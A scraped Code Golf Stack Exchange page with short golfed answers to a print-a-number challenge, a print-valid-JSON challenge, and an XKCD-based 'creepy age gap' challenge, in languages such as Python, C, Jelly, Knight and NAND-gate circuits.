online!](https://tio.run/##bVFBDoMgELzzCh17ojVhsaSmMaSnPmNtmlhvDZf6fUsR1Gj3QIZhmB2WZ/f6vPtuHIfsnqWyWvVUauWERYXfRvWPgltrtMTdE66K3NCCc4Imz7j6LPWRnODsfzlVldSrqhFsURNRHWuFbI7FybcTzIgaSmJIbUCB8iQaC1tcYgZzkcbHluncrxsQEDg72Gtxam@C12b1HhEaP4ZtTmjje1DSgkXISfMtmiOnuMFnK9ig4DM5SqPxXzP5xMa/L9m/Nfqsbs3TW8bYjOMX "Befunge-93 – Try It Online") [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~188~~ ~~187~~ ~~185~~ ~~181~~ ~~176~~ 156 bytes -1 thanks to JonathanFrech. -2 -4 thanks to ceilingcat. ``` x;r(d,n){for(;n--;)printf("%d",d);}f(i){r(7,156);r(1,79);for(i=38;i--;r(1,x%10))x="PS10*,),00*,/00=+/ff0/)-)-*,),)-)-SSgf"[i]-20,r(8,x/10);r(1,80);r(3,39);} ``` [Try it online!](https://tio.run/##HY7BCsIwEER/RQKFXd2QjUUbCf0HoUfxIC0pORgleAiUfnvd9LIDj5nZGfU8jttWfIaJEi7hk8EnrT1@c0y/AKqZFE3o1wARlwwd2csVxW6pu6Gv/ti3zkfJVFgay4ilV/fB8pGQWK5h7k8mBDaoUVdadRjmoB7xqc9MGRwVI9G9xO3aUisf1k12HN6vmEDmQQV/ "C (gcc) – Try It Online") [Answer] # [Knight](https://github.com/knight-lang/knight-lang), 113 bytes ``` ;=s*"1"311;=p;=l',kr`\J&J&A&A/J&J&\kke\:8ee\A/eeA&A/er`'76;Wl=sSs=p+p/=t-Al;=lSlF1""9 9F*"8"%t 9O++*"7"156s*"3"39 ``` [Try it online!](https://tio.run/##rVhtd9rGEv5sfsVaOUZaELUk3DZBCA5J7Rz3OnZqkpsPhiZYCFsnsuBIomlv7P71dGZ2V1oBTm9f/EHy7s7LMy87MyLs3IThlydxGibredTPi3m8/OZ20NB3kvi6thUWv62iDaIsTm9qW0V8J2jm0SJOI5YkLFmmN/QoN9@cv33F3Go5fnPJvGr539ElO6qWJ@cv2NNqefmWuRXxydlYoz1/e6aRvj1/NRr/x8o5s@DR/N39lpdnozEoFUfh7Sxr8ZJYpwGcin0wOKpOzo/f4VEKR2jLPfzX79fPUTydwz/3VpJwWNUInl9cnBEFPIZgVQ9M0XRfvhSHwFqC@2WWrCPOr9IpbzQINkQgmt0Fl8bxxYn1xQ/yluEaXdf1g5UfJKb9Mfsw@bH5Y3PUHB3ie/LxYzTpPY2iyegwinA3yj6Y33/nv0uCfJwHq/bqMCg6owS4x8mJaxjP2LOTlvHUOCjYs4t2u2V8b7jffgd6ukb32RcOeg2/AVFezbI8sjj73NiL04LFfmMPdgmxzVqLdRrCDmJmIayLu5Wdr9Irbxp8dmznwW8AGwsEPbwdIP50GyeRBRYCoSUMtZkxKSbpZDHJ2OeHq6nFe08MTkr34gWzpD9YEDDzicmZEKF292F3ksJ2uy12QMlelOSRvvEgFTMrzufxTVwodlCDCF27BCneLeY6rM1aEmK7zVmHmY4JshBSzFkWFessFVl/z0QUWb/PjnhpZZwny09RZoUgVulj9/dMYQhpFZJh700uzY13mBIHrg3eDcrtDRB4uQAEJCQDknS@XlkYDCZ91GGw4pJN6JuYZqXcMIW3gQqgltrZ4SGDEgD/A4TVLC9YcRuBzFlWALF0aEt5CCMRopI9hQorwJ@hgqfLRYQ0qzGLnClgCZWt@Xq1QldyFX@1oztWzxRwqCYQZaikW6WQcVCAMMckVOGGNyYbUinqyY0T3MBi1MMihOmssoTql7DNwmuAUGdJsgytI8d2OVqE23UjhNBLzfGvzRICSVZsLrLJy7cL/ej4@YsPP@2f/XChGVGT4G1L2K@JeHk6foy3u80r4L40S@SnjyA/qvPWSR6wpmTrFN3mU62DorHMLVVTKAshv4o4ZHR6vV5ceUdTCUI4v0l3rtSer6BdFQsLSMGqgySZG@oyDwZwG20UsikAMrMUIJqG0F@j6zO3WzcSLcf8GDKjyNaRAXlR7mOawP5iBvcVD4x0nSRG5QK0E02X5R6d8f75cpnAwXXdAY@aWln1NXtaf90gHeX1JkqMWbFM/1WMkInFMkksHarNHBuq7t@AnG5Bxmb1avT63MaWJfIMlqdXruM4U@pssFSrPP5f9L5g@PIbVYZq1qIHYGXjw6NnN3BV58Oig80PX/T0xKsLBCenZ8cttoB65e@VmS31YSkMZys7iVJqlJqvLNlVhM/gzj3mjE1GbATYRxbLDGomtVzob33yhQ@FPcbDshiEd6uNCJCT4mlVF9BN8RTV5J/iIry1WjS6sPrsAj5i8i/EXmGOzB5DLYIgQIfi7AOFkTfJKClejly1lOU@tbyKgma6IsP2QWPd1ZR/rtIM5gwqt0LxJSiuy85m6dziTefXBfxVhK@BEIQKF91ERQLzmdWkUDYxQNil5nHK/XhhWRRObL7hbYZQbEhTzkWUA8ffCRVeiEvpOxb6qDtRLZD@UMzoIlk2K5DPK2sEeXnyojpBTt3BJc0HoMFcgOwLVstVlFqaXtvIDGrWACq4E60LsjHwnKOntC/buyVmggUgn6NNMBRBwto4MQE5dG9aoQ5QrZLLgk3WDmjqwPsKlFx6G@SQLvI0SmgFzNOnhsqLlSU/gSXRrzAx4V3fsnO/FnOawPexjm0Rnm0lB2hJ6n7RyH8we3Ik25HGZd2T7cc4X99dwziCDYirDoSfF9UMt1UMFeuYvrisgxwZ61dhmxncCbOIrhfqKDcqUnWAzSWapVLsY/1LNiw9AqqfCy9cVF7AewEhlE4T8ay5jjWbeHrV6SDpVAyaE5ps9xSsg29aOeCxYMWZummZBn9d5Cr6ZU6I4UsAapeAqEpCtcSCjKmlhUfMs3v1aItPP6SGEZupXPJEzHECpcsgAkBUuI2XPFBWenx3qoazQr3kGOi2Kzdx9T/K4jAe2vQuZImQdnW2slPLdhyW63gFU6uKzg4vbDbnHX5obflBxHWXF@52mNYimkAXQgzQgSwqkIE5gc8mJPI7HZInHUUNczPQwqNF7fYfftUxh7sdc/BVpoPdTD@TN2sGiVme9jzdSl@6XXg9YB1308vEAhFw4bp1XLhqbo3J@5tcfSiXu3iCAFkITo/JHacMBQXAGzgyBh6nIaYVUFwamxeFDrXm1Se/bNRYvF@1KxjUL@CQ6XnW1z2OrD3xKwowC4Ihq00ktGkz7eKhDEdwquruiZKDtPsBFDYN8uCfQx78C5AHCvL@DsyBxCwhDx@HLLTugIzHQ1Yj8EoKT9Xk/V04q0VpnkpmXUAJr1ndKLRlV7kZ6pwyDUv@@/@HX@avJqbk982eTu3r888mbVBd5PrxX56M1bhUjcZIt1cbj8tbRDQocRrUuLUbhhxI0W6XbALyOzBP/LKhzy4165jeDiXbaX0QRFKNf@j1uppbXoohNNCadluvadtDdypHWbu8C93ajDQWjt4Q6m9WUW9XFe3ysrV4JfcRbf5Jj0Vg@MZQhOU8WXZYvd16YCFqbbvYd6nniPwXh/Qiira8CaB9Hi1m66QAy9TQEqdwGM/pR4lZWEQZNJjQxDEGdzh75LMIhdHcKn/ieqAP07tZnFocf@mgbxP8cd1ySHH9I@Dhyx8 "C (gcc) – Try It Online") This one was fun to golf. Not sure if it is *optimal*, but cool nonetheless. Came up with it myself, I see others had similar ideas. 😅 One challenge in Knight is that only printable ASCII, tab, newline, and CR is allowed. All other characters are UB (although generally supported). So basically, this uses a lookup table containing indices of `8`s and the length. It is specifically encoded as \$9 + \text{len} + 9 \times \Delta\text{pos}\$. Specifically, it was generated by this C program (string literal snipped) ``` #include <stdio.h> #include <string.h> int main() { // the range containing all the 8s char str[] = "8888888811888888...*snip*"; char acc[40] = {0}; // Start at -3 to make our first index in ASCII range. We start at 79, so this is free. int pos = -3, i = 0; // loop through all the 8s using a strtok loop for (const char *s = strtok(str, "1"); s != NULL; s = strtok(NULL,"1")) { // 9 + len + 9 * offset from last index acc[i] += strlen(s) + 9; acc[i++] += (s - str - pos) * 9; // update position pos = s - str; } // print puts(acc); } ``` So, with that out of the way, here is the program ungolfed: ``` # Create the base string with all 1's # This is string repetition, not arithmetic. ; = str * "1" 311 # Position to start inserting. # The first 8 is at index 79, but we start early to make # the first character in the LUT in ASCII range. ; = pos 76 # magic lookup table ; = lut ',kr`\J&J&A&A/J&J&\kke\:8ee\A/eeA&A/er`' # For all chars in lut ; WHILE lut { # Get codepoint of the front of lut and subtract 9 ; = chr - ASCII(lut) 9 # Pop first char from lut ; = lut SUBSTITUTE(lut 0 1 "") # Extract delta and length ; = delta / chr 9 ; = length % chr 9 # Advance position ; = pos + pos delta # Inject <length> 8's into str : = str SUBSTITUTE(str pos 0 (* "8" length)) } # Add leading 7's and trailing 3's ; = str + (* "7" 156) str ; = str + str (* "3" 39) # print : OUTPUT(str) ``` [Answer] # [Scratch](https://scratch.mit.edu/), 396 bytes [Try it online!](https://scratch.mit.edu/projects/624890265/) There's probably room for optimization. ``` define(n)(t repeat(t set[P v]to(join(P)(n when gf clicked set[P v]to( [7][156 [1][78 [1888888881][2 [1][2 [888888111][2 repeat(2 [8][2 [1][5 [881][1 end repeat (2 [8][2 [1][4 [881][1 end [1][1 repeat(2 [8][2 [1][5 [881][1 end [881111111][2 [1888888881][2 [188][1 [1][7 [8811188881][1 [8][2 [1111111188][2 [1][7 [8811118811][1 [8811111111][2 [881111881][2 [1881111111][2 [118888881][2 [1][79 [3][39 ``` [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal) `s`, 66 bytes ``` 7113Sf»«u2F»S4/⌊*2 18f38ẋf».⟩o2d≥s¾T¢(₀P⟇iŀ₍#(⇩t⁽ ≠ṗ²½u&⁼∑H»fZødṅṀ ``` [Try it online!](https://vyxal.pythonanywhere.com/#WyJzIiwiIiwiNzExM1NmwrvCq3UyRsK7UzQv4oyKKjIgMThmMzjhuotmwrsu4p+pbzJk4omlc8K+VMKiKOKCgFDin4dpxYDigo0jKOKHqXTigb0g4omg4bmXwrLCvXUm4oG84oiRSMK7ZlrDuGThuYXhuYAiLCIiLCIiXQ==) [Answer] # [Python 2](https://docs.python.org/2/), ~~244~~ ~~128~~ 120 bytes *-8 bytes thanks to @JonathanFrech* ``` s='1'*78 print'7'*156+s+bin(int("8zlghh9gqo74zwzntkcjmoou35vvlbg1cmasrm6ny1iafcvw568sj",36))[2:].replace(*'08')+s+'3'*39 ``` [Try it online!](https://tio.run/##DczBDoIgGADge4/h5RdsLSQB23qS1kGZAaZAQjh9efL6HT6/Re1snXN4AAHMxckvxkbggEnDqlD1xpYHlIXYJ6V1q76O3/Z1t/Ejx9m5H21SmnpF5NyFZWZ2I6Z7y7Q2TISxOFOG0LO@vy7L4KdODiWGqwB0zEAB0zbnPw "Python 2 – Try It Online") [Answer] # [///](https://esolangs.org/wiki////), 180 bytes ``` /~/\/\///P/IH~O/1G~N/1J~M/AA~L/77~J/IB~I/88~H/11~A/LLLLLL~B/HHH1~C/333333333~D/BB~E/III~F/H1I~G/F1/MMMMMMADDDDDBHEPEP1EH1EGOPGIOIO1PGPGJJ1EPEPJIFINNNIONN1IOIONNHEH1EDDDDDBH1CCCC333 ``` [Try it online!](https://tio.run/##Nc2xDsIwDATQTzpZDO2atGnsiDr5ABYGJAa27vfroang3Xi27vg8j/fr6B3E4wzQYMoKyXRI4Y4QeMc0scAiDfNMhQgD7hdGqKpwwe2PK2Jkgplxg4oxYxPsl7AOUVNLTZJKyrVlq1al5ZZLkVEU28zdrbrL6Nx1nP5eZTmdO71/AQ "/// – Try It Online") ]
[Question] [ This challenge is straightforward, but hopefully, there are plenty of avenues you can approach it: **You need to print/return a valid JSON *object* of at least 15 characters, not counting unessential whitespace.** Your program should work without any input. In the interest of clarity, a JSON object starts and ends with curly braces `{}`, and contains zero or more key:value pairs separated by commas. The full JSON specification can be found at [json.org](http://www.json.org/), and the output of your code must pass [this validator](http://jsonlint.com/#). Therefore, any of the following would **not** be valid: ``` 4 //Too short, not an object "really, really long string" //A string, not an object ["an","array","of","values"] //An array is not a JSON object {"this":4 } //You can't count unessential whitespace {"1":1,"2":3} //Too short {"a really long string"} //Not valid JSON, it needs a value {'single-quoted':3} //JSON requires double-quotes for strings ``` However, the following *would* be valid: ``` {"1":1,"2":2,"3":3,"4":4} //Long enough {"whitespace ":4} //This whitespace isn't unessential ``` Non-programming languages are allowed on this challenge. You may return a string from a function, or print it out. This is a [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so answer it with as little code as possible! [Answer] ## Python 2, 14 bytes ``` print{`str`:1} ``` Outputs: ``` {"<type 'str'>": 1} ``` The backticks get the string representation in Python 2. Usually, this outputs inside creates single quotes, which Python recognizes as delimiting a string, but JSON doesn't. But Sp3000 observes that when stringifying a type, the type description already contains single quotes, which forces the outer quotes to be double quotes. [Answer] # jq, 6 characters (3 characters code + 3 characters command-line option.) ``` env ``` CW because I am sure this is not the kind of answer you intended to allow. Sample run: ``` bash-4.3$ jq -n 'env' { "GIT_PS1_SHOWDIRTYSTATE": "1", "TERM": "xterm", "SHELL": "/bin/bash", "GIT_PS1_SHOWUNTRACKEDFILES": "1", "XTERM_LOCALE": "en_US.UTF-8", "XTERM_VERSION": "XTerm(322)", "GIT_PS1_SHOWSTASHSTATE": "1", "GIT_PS1_SHOWUPSTREAM": "auto", "_": "/usr/bin/jq" } ``` (Output obviously shortened.) [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 11 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` “Ɠɼ'ẸẠḌȷżÑ» ``` [Try it online!](http://jelly.tryitonline.net/#code=4oCcxpPJvCfhurjhuqDhuIzIt8W8w5HCuw&input=) ### Output ``` {"Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch":0} ``` [Answer] # Notepad, 7 keystrokes If you have a Windows computer with the Notepad program, type this: `{``"``F5``"``:``0``}` On my Windows 7 computer, at least, this gives you something like: ``` {"3:42 PM 10/25/2016":0} ``` [Answer] # [Java (JDK 10)](http://jdk.java.net/), 20 bytes ``` v->"{\"\":"+1/.3+"}" ``` [Try it online!](https://tio.run/##LYyxDoIwGIT3PsWfTqBSY9xEGd2cSFzEoYKQYmkb@peEEJ69VmS63N131/KBJ2318aIzukdog2cOhWS1UyUKrdgmJcS4lxQllJJbCzcuFEwEYE0tcgwyaFFBF7oox16o5vEE3jc2XlCA6/p3vgdu90cyqOECfkgyOhW0oCe6PezZcUtn6tNllY8W3x3TDpkJC5Qqqhk3Ro6RclLG8Q@byey/ "Java (JDK 10) – Try It Online") ## Output ``` {"":3.3333333333333335} ``` [Answer] # JavaScript, ~~17~~ 15 bytes Thanks to @Neil for this one. Call with no input. ``` _=>`{"${_}":0}` ``` Outputs `{"undefined":0}` ### Old version, 16 bytes Thanks to @kamoroso94 for -1 on this version ``` _=>`{"":${9e9}}` ``` Outputs `{"":9000000000}` [Answer] # PHP, ~~14~~ 13 bytes ``` {"":<?=M_E?>} ``` Prints a ~~nice~~ mathsy object ~~that one could almost pretend is useful~~: ``` {"":2.718281828459} ``` Uses the fact that php prints anything outside the tags verbatim to save on some quotation marks, `M_E` was the shortest long enough constant I could find. edit: saved one byte thanks to Lynn. Sadly it's no longer a 'nice' mathsy object. [Answer] ## Brainfuck, 50 bytes ``` +[+<---[>]>+<<+]>>+.>>>--.<+++<[->.<]>>.<+.-.<<++. ``` Outputs `{"999999999999999999999999999999999999999999999999999999999999999999999999999999999":9}`. Assumes an interpreter that has 8-bit cells and is unbounded on the left. [Try it online!](http://brainfuck.tryitonline.net/#code=K1srPC0tLVs-XT4rPDwrXT4-Ky4-Pj4tLS48KysrPFstPi48XT4-LjwrLi0uPDwrKy4&input=) [Answer] # Pyth - 5 bytes Prints `{"'abcdefghijklmnopqrstuvwxyz'": 10}`. ``` XH`GT ``` [Try it online here](http://pyth.herokuapp.com/?code=XH%60GT&debug=0). [Answer] # Jolf, 9 bytes ``` "{¦q:¦q}" ``` Outputs: `{"{¦q:¦q}":"{¦q:¦q}"}`. [Try it here!](http://conorobrien-foxx.github.io/Jolf/#code=InvCpnE6wqZxfSI) ``` "{¦q:¦q}" "{ : }" raw string ¦q insert the source code here ¦q and here ``` [Answer] # Pyth, 7 bytes ``` .d],`G0 ``` Creates a dictionary containing a single key `"'abcdefghijklmnopqrstuvwxyz'"` and value `0`: ``` .d Dictionary from: ] The single-element list containing: , The two-element list containing: `G The representation of the alphabet (the key) 0 and 0 (the value) Implicitly print the stringification of this. ``` [Answer] # ///, ~~15~~ 14 characters ``` /a/{":1234}/aa ``` (At least the output is ~~1~~ 2 characters longer than the code.) [Try it online!](http://slashes.tryitonline.net/#code=L2EveyI6MTIzNH0vYWE&input=) Thanks to: * [ETHproductions](https://codegolf.stackexchange.com/users/42545/ethproductions) for reusing the object delimiters as part of key (-1 character) Sample run: ``` bash-4.3$ slashes.pl <<< '/a/{":1234}/aa' {":1234}{":1234} ``` Just to make it more readable: ``` bash-4.3$ slashes.pl <<< '/a/{":1234}/aa' | jq '' { ":1234}{": 1234 } ``` [Answer] ## Batch, 16 bytes Prints `{"Windows_NT":0}`. ``` @echo {"%OS%":0} ``` [Answer] # [05AB1E](http://github.com/Adriandmen/05AB1E), 9 bytes Unfortunately, 05AB1E doesn't have a dictionary object so we have to construct our own. ``` ’{"èÖ":7} ``` [Try it online!](http://05ab1e.tryitonline.net/#code=4oCZeyLDqMOWIjo3fQ&input=) **Output** ``` {"dictionaries":7} ``` [Answer] # R, 19 bytes ``` cat('{"',lh,'":1}') ``` Becomes a bit longer because the need to escape quotes `\"`. Furthermore, `lh` is one of the built-in datasets in `R` and is (to my knowledge) the object with the shortest name that contains the 9 characters needed to fill the length of the key. (edit: turns out `pi` does the trick as well with the standard option and I was beaten by @JDL who was clever enough to escape using single quotes rather than the extra backslashes) The description of `lh` in the R-documentation is: > > A regular time series giving the luteinizing hormone in blood samples at 10 mins intervals from a human female, 48 samples. > > > which is a rather unexpected name of a key, but hey, it works and produces the output: ``` {" 2.4 2.4 2.4 2.2 2.1 1.5 2.3 2.3 2.5 2 1.9 1.7 2.2 1.8 3.2 3.2 2.7 2.2 2.2 1.9 1.9 1.8 2.7 3 2.3 2 2 2.9 2.9 2.7 2.7 2.3 2.6 2.4 1.8 1.7 1.5 1.4 2.1 3.3 3.5 3.5 3.1 2.6 2.1 3.4 3 2.9 ":1} ``` The answer can be compared to just padding the key with "random" letters to make the output at least 15 characters (24 bytes): ``` cat("{\"HeloWorld\":1}") ``` [Answer] ## PowerShell ~~22~~ ~~20~~ 14 Bytes ``` '{"":'+1tb+'}' ``` Output ``` {"":1099511627776} ``` Using the constant defined for 1TB in bytes to reach the character limit and the value of a static integer to make for valid json. Thanks to TimmyD for reducing the characters by 5 by removing some redundancy. --- ### Earlier Post 40 Bytes ``` "{$((1..9|%{'"{0}":{0}'-f$_})-join",")}" ``` Output ``` {"1":1,"2":2,"3":3,"4":4,"5":5,"6":6,"7":7,"8":8,"9":9} ``` Takes a integer array and creates a key-value pair for each. Join with commas and wrap with a set of curly braces. [Answer] # [V](http://github.com/DJMcMayhem/V), 9 bytes ``` i{"¹*":0} ``` [Try it online!](http://v.tryitonline.net/#code=aXsiwrkqIjowfQ&input=) Very straightforward. Enters insert mode, enters the following text: ``` {"*********":0} ``` The reason this is so short is because `¹` repeats the following character 9 times. [Answer] ## Retina, 11 bytes ```   {"9$*R":1} ``` ### Output ``` {"RRRRRRRRR":1} ``` **Note:** the leading newline is significant as nothing is replaced with the resultant output, I've used a non-breaking space to illustrate this! [Try it online!](http://retina.tryitonline.net/#code=CnsiOSQqUiI6MX0&input=) [Answer] # [Dyalog APL](https://www.dyalog.com/), 9 [bytes](http://meta.codegolf.stackexchange.com/a/9429/43319) ``` ⎕JSON⎕DMX ``` [Try it online!](https://tio.run/##SyzI0U2pTMzJT///qKM9oCgzr@T/o76pXsH@fkDKxTcCJPwfLA4A "APL (Dyalog Unicode) – Try It Online") In a clean workspace on my PC the result is `{"Category":"","DM":[],"EM":"","EN":0,"ENX":0,"HelpURL":"","InternalLocation":["",0],"Message":"","OSError":[0,0,""],"Vendor":""}` `⎕JSON` convert to JSON `⎕DMX` the (universally available) **D**iagnostic **M**essage E**x**tended object [Answer] # [Japt](https://github.com/ETHproductions/japt) `-Q`, 1 byte ``` M ``` [Try it online!](https://ethproductions.github.io/japt/?v=2.0a0&code=TQ==&input=LVE=) The output is `{"P":3.141592653589793,"Q":1.618033988749895,"T":6.283185307179586}`. ### How it works `M` is a shorthand for JS's `Math` object, with one-char aliases to existing functions/constants and some extra functions/constants. The constants shown here are: * `M.P = Math.PI` * `M.Q = Golden Ratio = (Math.sqrt(5)+1)/2` * `M.T = Math.PI * 2` And the boring part: [the `-Q` flag applies `JSON.stringify` to the output value](https://github.com/ETHproductions/japt/blob/90d14016a5a4675c8c20243cb63ccbcea830c0b6/src/japt.js#L2122). Some of the properties are lost (e.g. `Math.E` and `Math.SQRT2`), but we still have the above three values and the result is well over 15 characters. [Answer] # brainfuck, 83 bytes ``` --[-->+++++<]>.+[---->+<]>+++.>-[>+<-----]>.........<<.[----->+<]>.>.>--[-->+++<]>. ``` Outputs `{"333333333":3}` There is likely another shorter solution, but I have not yet found it. Explanation: ``` --[-->+++++<]>. { +[---->+<]>+++. " >-[>+<-----]>. 3 ........ <<. " [----->+<]>. : >. 3 >--[-->+++<]>. } ``` [Try it online](https://copy.sh/brainfuck/?c=LS1bLS0-KysrKys8XT4uIHsKK1stLS0tPis8XT4rKysuICIKPi1bPis8LS0tLS1dPi4gIDMKLi4uLi4uLi4KPDwuICAgICAgICAgICAgICIKWy0tLS0tPis8XT4uICAgIDoKPi4gICAgICAgICAgICAgIDMKPi0tWy0tPisrKzxdPi4gIH0$) [Answer] ### PHP, 19 bytes ``` <?='{"'.(9**9).'":1}'; ``` Output: `{"387420489":1}` <https://eval.in/665889> Thanks to [manatwork](https://codegolf.stackexchange.com/users/4198/manatwork) for the tips! [Answer] # Perl 5, 16 15 bytes Uses [the unix timestamp of the moment the program was started](http://perldoc.perl.org/perlvar.html#BASETIME) as the content of a one-element object. **It gives valid output if you run it later than 10:46:39 on 3rd of March 1973**. But since we can't go back in time that seems legit. ``` say"{\"$^T\":1}" ``` Uses the [FORMAT\_TOP\_HANDLE variable `$^`](http://perldoc.perl.org/perlvar.html#FORMAT_TOP_NAME) which defaults to `STDOUT_TOP`. ``` say"{\"$^\":1}"; ``` Run with `-E` flag at no additional cost. ``` perl -E 'say"{\"$^\":1}";' ``` Outputs is 16 bytes long. ``` {"STDOUT_TOP":1} ``` [Answer] # Java 7, 36 bytes ``` String c(){return"{\"a\":"+1e6+"}";} ``` # Java 8, 21 bytes ``` ()->"{\"a\":"+1e6+"}" ``` **Ungolfed & test code:** [Try it here.](https://ideone.com/p0m9uT) ``` class M{ static String c(){ return "{\"a\":" + 1e6 + "}"; } public static void main(String[] a){ System.out.println(c()); } } ``` **Output (length 15):** ``` {"a":1000000.0} ``` [Answer] # JavaScript (ES6) + jQuery, 15 bytes Because jQuery. ``` _=>`{"${$}":0}` ``` Outputs `{"function (a,b){return new n.fn.init(a,b)}":0}` when called. Try it here: ``` f=_=>`{"${$}":0}` alert(f()) ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> ``` [Answer] # Windows batch, 10 bytes ``` {"%OS%":5} ``` The environment variable `OS` contains the string `Windows_NT` (On all Windows operating systems since 2000, according to [this](https://stackoverflow.com/questions/2788720/environment-variable-to-determine-the-os-type-windows-xp-windows-7) question on Stack Overflow) [Answer] # R, 19 bytes This works in British English locale; it may require +2 bytes in others. (Edit: it probably doesn't --- see comments.) ``` cat('{"',pi,'":1}') ``` I was hoping for something clever (perhaps plucking a line of code out of a pre-existing function like `q`) but couldn't find anything. The result: ``` {" 3.141593 ":1} ``` Note that you don't have to escape double quotes in R if you use single quotes to quote the string (and vice-versa). This behaviour is locale-dependent though. I would expect it to work in a US English locale as well though. This also requires that your default `digits` option is at least six (which is the factory-fresh default) and that `scipen` is at least `-digits` (the factory-fresh default is zero). [Answer] # HQ9+, 15 bytes ``` {"Quineland":0} ``` Outputs itself. I thought an 8-byte answer would be possible, like so: ``` {":11QQ} ``` This outputs `{":11QQ}{":11QQ}`, which is *almost* valid JSON, but `11QQ` is not a valid value. HQ9+ is [not a valid programming language](http://meta.codegolf.stackexchange.com/questions/2028/what-are-programming-languages/2073#2073) by PPCG standards, but the OP has allowed non-programming languages. [Answer] # Bash, 18 bytes `echo {\"$PATH\":1}` This works on Mac and Linux, unless your $PATH isn't set. [Answer] ## Ruby, 19 bytes ``` puts'{"1":'+9**9+?} ``` Output: ``` {"1":387420489} ``` ]
[Question] [ According to [this XKCD comic](https://xkcd.com/314/), there is a formula to determine whether or not the age gap in a relationship is "creepy". This formula is defined as: ``` (Age/2) + 7 ``` being the minimum age of people you can date. Therefore a relationship is creepy if either of the people in said relationship are younger than the minimum age of the other. Given the age of two people, can you output whether or not that relationship is creepy? ### Rules 1. Your program should take two integers as input, the age of both people in the relationship. These can be taken in any reasonable format. 2. Your program must then output a truthy or falsy value describiing whether or not the relationship is "creepy" (Truthy = Creepy). 3. Standard loopholes are not allowed. 4. This puzzle is Code Golf, so the answer with the shortest source code in bytes wins ### Test Cases ``` 40, 40 - Not Creepy 18, 21 - Not Creepy 80, 32 - Creepy 15, 50 - Creepy 47, 10000 - Creepy 37, 38 - Not Creepy 22, 18 - Not Creepy ``` [Answer] # NAND gates, 551 [![16-bit creepiness calculator](https://i.stack.imgur.com/bWV7d.png)](https://i.stack.imgur.com/bWV7d.png) Created with [Logisim](http://www.cburch.com/logisim/) Same principle as [my other answer](https://codegolf.stackexchange.com/a/141497/73884), but takes 2-byte signed inputs, so it can handle `47, 10000`. Works for ALL test cases! This is not optimal for the given test cases, as 10000 can be expressed with only 15 of the 16 bits, but it works for any ages in the range [-32768, 32768). Note that any negative age will return `1`. Inputs on left (no particular order, 1-bit on top). Output in lower right. [Answer] # [Python 3](https://docs.python.org/3/), 26 bytes ``` lambda x:max(x)/2+7>min(x) ``` [Try it online!](https://tio.run/nexus/python3#S7ON@Z@TmJuUkqhQYZWbWKFRoalvpG1ul5uZB2T@T8svUqhQyMxTiI42MdBRMDGI1Yk2tNBRMDIEMcyhDAuglLERSMRUR8EUpMYEKGVoAARAtjGQbWwRG2vFpVBQlJlXolGhkwY0W/P/fwA "Python 3 – TIO Nexus") The input is a list with both ages [Answer] # NAND gates, 274 262 Original: [![](https://i.stack.imgur.com/fcTpt.png)](https://i.stack.imgur.com/fcTpt.png) Better: [![](https://i.stack.imgur.com/Du0k0.png)](https://i.stack.imgur.com/Du0k0.png) Created with [Logisim](http://www.cburch.com/logisim/) This takes two inputs on the left as 1-byte signed integers, with the 1-bit at the top. Output is in the lower left; the truthy and falsey here should be obvious. Works for all test cases except `47, 10000`, so I guess this is technically not a valid answer. However, the [oldest person on (reliable) record](http://www.guinnessworldrecords.com/world-records/oldest-person) was 122, so 8 bits (max 127) will work for any scenario ever possible to this point. I'll post a new answer (or should I edit this one?) when I finish the 16-bit version. [16-bit version](https://codegolf.stackexchange.com/a/141585/73884) is done! You'll notice some vertical sections of the circuit. The first one (from the left) determines which input is greater. The next two are multiplexers, sorting the inputs. I then add `11111001` (-7) to the lesser in the fourth section, and I conclude by comparing twice this to the greater input. If it is less, the relationship is creepy. Since I shift the bits to double, I must take into account the unused bit of `lesser-7`. If this is a `1`, then `lesser-7` is negative, and the younger of the two is no older than six. Creepy. I finish with an OR gate, so if either creepiness test returns `1`, the entire circuit does. If you look closely, you'll see that I used seven one constants (hardcoding the `11111011` and the trailing `0`). I did this because Logisim requires at least one value going in for a logic gate to produce an output. However, each time a constant is used, two NAND gates ensure a `1` value regardless of the constant. -12 gates thanks to [me](https://codegolf.stackexchange.com/users/73884/scrooble)! [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), ~~8~~ 6 bytes ``` ;7+R‹Z ``` [Try it online!](https://tio.run/##MzBNTDJM/f/f2lw76FHDzqj//6NNDHRMDGIB "05AB1E – Try It Online") or [Try all test](https://tio.run/##MzBNTDJM/V9W6fLf2lw76FHDzqj/lUqH91spKLmkF9sbGhfruqkr2NdmKjkXpaYWVCrpHF6t5JdfogDj/o@ONjHQMTGI1Yk2tNAxMgTSFgY6xkYgvqmOKUjcxFzH0AAIgExjcx1jCyBtZKRjCKINjXUMjWNjAQ "05AB1E – Try It Online") ``` # Implicit Input: an array of the ages ; # Divide both ages by 2 7+ # Add 7 to both ages R # Reverse the order of the ages # this makes the "minimum age" line up with the partner's actual age ‹ # Check for less than the input (vectorized) Z # Push largest value in the list ``` [Answer] # C#, 22 bytes ``` n=>m=>n<m/2+7|m<n/2+7; ``` [Answer] # C, 29 bytes ``` #define f(a,b)a/2+7>b|b/2+7>a ``` How it works: * `#define f(a,b)` defines a macro function `f` that takes two untyped arguments. * `a/2+7>b` checks if the first age divided by two plus seven is larger than the second age. * `b/2+7>a` checks if the second age divided by two plus seven is larger than the first age. * If either of the above values are true, return 1 (creepy). Otherwise, return 0 (not creepy). [Try it online!](https://tio.run/##jZDNCoJAFEb38xQX28zUiPMnSlEt2vcOo2m4SMUMjOrZ7aaEhITezcCZM99lvtg9x3HbektiBAcjAMeFY1HDoUqS8k5kyEHJEQ7R1qrHX9Pn4IsfZAIOUuAMSCPS4ShPKTTHeOkRsjglaZYnkFLLI2Y9tQp20TPqTjtc11VRpLRhQJu90z931s6Q5TBysVlOGXmQz54sr8HCFmPx50awTUfLW32lfZRlyDrYa9iEktMaNqPVjDSf@zOWYoNdgdMmFqvDaQ2Llv@0V9u@AQ) [Answer] # JavaScript (ES6), 21 bytes ``` a=>b=>a<b/2+7|b<a/2+7 ``` Returns 0 for not creepy, 1 for creepy. ``` f=a=>b=>a<b/2+7|b<a/2+7 console.log(f(40)(40)); 